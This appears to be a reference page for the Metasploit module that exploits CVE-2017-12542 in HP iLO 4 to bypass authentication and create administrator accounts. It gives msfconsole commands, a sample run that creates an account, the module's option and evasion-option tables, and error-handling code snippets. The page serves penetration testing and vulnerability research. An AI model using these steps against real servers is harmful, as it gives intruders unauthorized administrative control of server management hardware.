HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation - Metasploit

This page contains detailed information about how to use the auxiliary/admin/hp/hp_ilo_create_admin_account metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation
Module: auxiliary/admin/hp/hp_ilo_create_admin_account
Source code: modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb
Disclosure date: 2017-08-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-12542

This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer overflow in the Connection HTTP header handling by the web server. Exploiting this vulnerability gives full access to the REST API, allowing arbitrary accounts creation.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/hp/hp_ilo_create_admin_account
msf auxiliary(hp_ilo_create_admin_account) > show targets
    ... a list of targets ...
msf auxiliary(hp_ilo_create_admin_account) > set TARGET target-id
msf auxiliary(hp_ilo_create_admin_account) > show options
    ... show and set options ...
msf auxiliary(hp_ilo_create_admin_account) > exploit

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

msf > use auxiliary/admin/hp/hp_ilo_create_admin_account 
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set RHOST 192.168.42.78
RHOST => 192.168.42.78
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > check
[+] 192.168.42.78:443 The target is vulnerable.
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set USERNAME test_user
USERNAME => test_user
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set PASSWORD test_password
PASSWORD => test_password
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > run

[*] Trying to create account test_user...
[+] Account test_user/test_password created successfully.
[*] Auxiliary module execution completed
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > 

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Msfconsole Usage

Here is how the admin/hp/hp_ilo_create_admin_account auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/hp/hp_ilo_create_admin_account

msf6 auxiliary(admin/hp/hp_ilo_create_admin_account) > show info

       Name: HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation
     Module: auxiliary/admin/hp/hp_ilo_create_admin_account
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-08-24

Provided by:
  Fabien Perigaud <fabien.perigaud@synacktiv[dot]com>

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  Id5r1tzuGA7M     yes       Password for the new account
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     443              yes       The target port (TCP)
  SSL       true             no        Negotiate SSL/TLS for outgoing connections
  USERNAME  UkEk3bl6         yes       Username for the new account
  VHOST                      no        HTTP server virtual host

Description:
  This module exploits an authentication bypass in HP iLO 4 1.00 to 
  2.50, triggered by a buffer overflow in the Connection HTTP header 
  handling by the web server. Exploiting this vulnerability gives full 
  access to the REST API, allowing arbitrary accounts creation.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-12542
  http://www.securityfocus.com/bid/100467
  https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us
  https://www.synacktiv.com/posts/exploit/hp-ilo-talk-at-recon-brx-2018.html

Module Options

This is a complete list of options available in the admin/hp/hp_ilo_create_admin_account auxiliary module:

msf6 auxiliary(admin/hp/hp_ilo_create_admin_account) > show options

Module options (auxiliary/admin/hp/hp_ilo_create_admin_account):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  Id5r1tzuGA7M     yes       Password for the new account
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME  UkEk3bl6         yes       Username for the new account
   VHOST                      no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/hp/hp_ilo_create_admin_account auxiliary module:

msf6 auxiliary(admin/hp/hp_ilo_create_admin_account) > show advanced

Module advanced options (auxiliary/admin/hp/hp_ilo_create_admin_account):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/hp/hp_ilo_create_admin_account module can do:

msf6 auxiliary(admin/hp/hp_ilo_create_admin_account) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/hp/hp_ilo_create_admin_account auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/hp/hp_ilo_create_admin_account) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed

Here is a relevant code snippet related to the "Connection failed" error message:

88:	                             })
89:	    rescue Rex::ConnectionRefused
90:	    end
91:	
92:	    unless res
93:	      fail_with(Failure::Unknown, 'Connection failed')
94:	    end
95:	
96:	    if res.body.include? 'InvalidPasswordLength'
97:	      fail_with(Failure::BadConfig, "Password #{datastore["PASSWORD"]} is too short.")
98:	    end

Password <VALUE> is too short.

Here is a relevant code snippet related to the "Password <VALUE> is too short." error message:

92:	    unless res
93:	      fail_with(Failure::Unknown, 'Connection failed')
94:	    end
95:	
96:	    if res.body.include? 'InvalidPasswordLength'
97:	      fail_with(Failure::BadConfig, "Password #{datastore["PASSWORD"]} is too short.")
98:	    end
99:	
100:	    if res.body.include? 'UserAlreadyExist'
101:	      fail_with(Failure::BadConfig, "Unable to add login #{datastore["USERNAME"]}, user already exists")
102:	    end

Unable to add login <VALUE>, user already exists

Here is a relevant code snippet related to the "Unable to add login <VALUE>, user already exists" error message:

96:	    if res.body.include? 'InvalidPasswordLength'
97:	      fail_with(Failure::BadConfig, "Password #{datastore["PASSWORD"]} is too short.")
98:	    end
99:	
100:	    if res.body.include? 'UserAlreadyExist'
101:	      fail_with(Failure::BadConfig, "Unable to add login #{datastore["USERNAME"]}, user already exists")
102:	    end
103:	
104:	    unless res.code == 201
105:	      fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
106:	    end

Unknown error while creating the user. Response: <RES.CODE>

Here is a relevant code snippet related to the "Unknown error while creating the user. Response: <RES.CODE>" error message:

100:	    if res.body.include? 'UserAlreadyExist'
101:	      fail_with(Failure::BadConfig, "Unable to add login #{datastore["USERNAME"]}, user already exists")
102:	    end
103:	
104:	    unless res.code == 201
105:	      fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
106:	    end
107:	
108:	    print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
109:	  end
110:	end

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Related Pull Requests

• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #9529 Merged Pull Request: Add module for HP iLO CVE-2017-12542 authentication bypass

References

• CVE-2017-12542
• BID-100467
• https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us
• https://www.synacktiv.com/posts/exploit/hp-ilo-talk-at-recon-brx-2018.html

See Also

Check also the following modules related to this module:

• auxiliary/admin/hp/hp_data_protector_cmd
• auxiliary/admin/hp/hp_imc_som_create_account
• auxiliary/admin/http/hp_web_jetadmin_exec
• auxiliary/gather/hp_enum_perfd
• auxiliary/gather/hp_snac_domain_creds
• auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal
• auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal
• auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal
• auxiliary/scanner/http/hp_imc_reportimgservlt_traversal
• auxiliary/scanner/http/hp_imc_som_file_download
• auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
• auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration
• auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
• auxiliary/scanner/http/hp_sys_mgmt_login
• auxiliary/dos/hp/data_protector_rds
• auxiliary/scanner/http/phpmyadmin_login
• auxiliary/scanner/snmp/snmp_enum_hp_laserjet
• auxiliary/admin/mssql/mssql_enum_domain_accounts
• auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
• auxiliary/gather/avtech744_dvr_accounts
• auxiliary/gather/grandstream_ucm62xx_sql_account_guess
• post/windows/manage/enable_support_account
• auxiliary/admin/http/cnpilot_r_cmd_exec
• auxiliary/admin/http/cnpilot_r_fpt
• auxiliary/admin/http/manage_engine_dc_create_admin
• auxiliary/scanner/http/cnpilot_r_web_login_loot
• auxiliary/scanner/http/oracle_ilom_login
• auxiliary/scanner/snmp/cnpilot_r_snmp_loot
• auxiliary/fuzzers/smb/smb_create_pipe
• auxiliary/fuzzers/smb/smb_create_pipe_corrupt
• auxiliary/scanner/sap/sap_soap_bapi_user_create1

Authors

• Fabien Perigaud <fabien[dot]perigaud[at]synacktiv[dot]com>

Version

This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.

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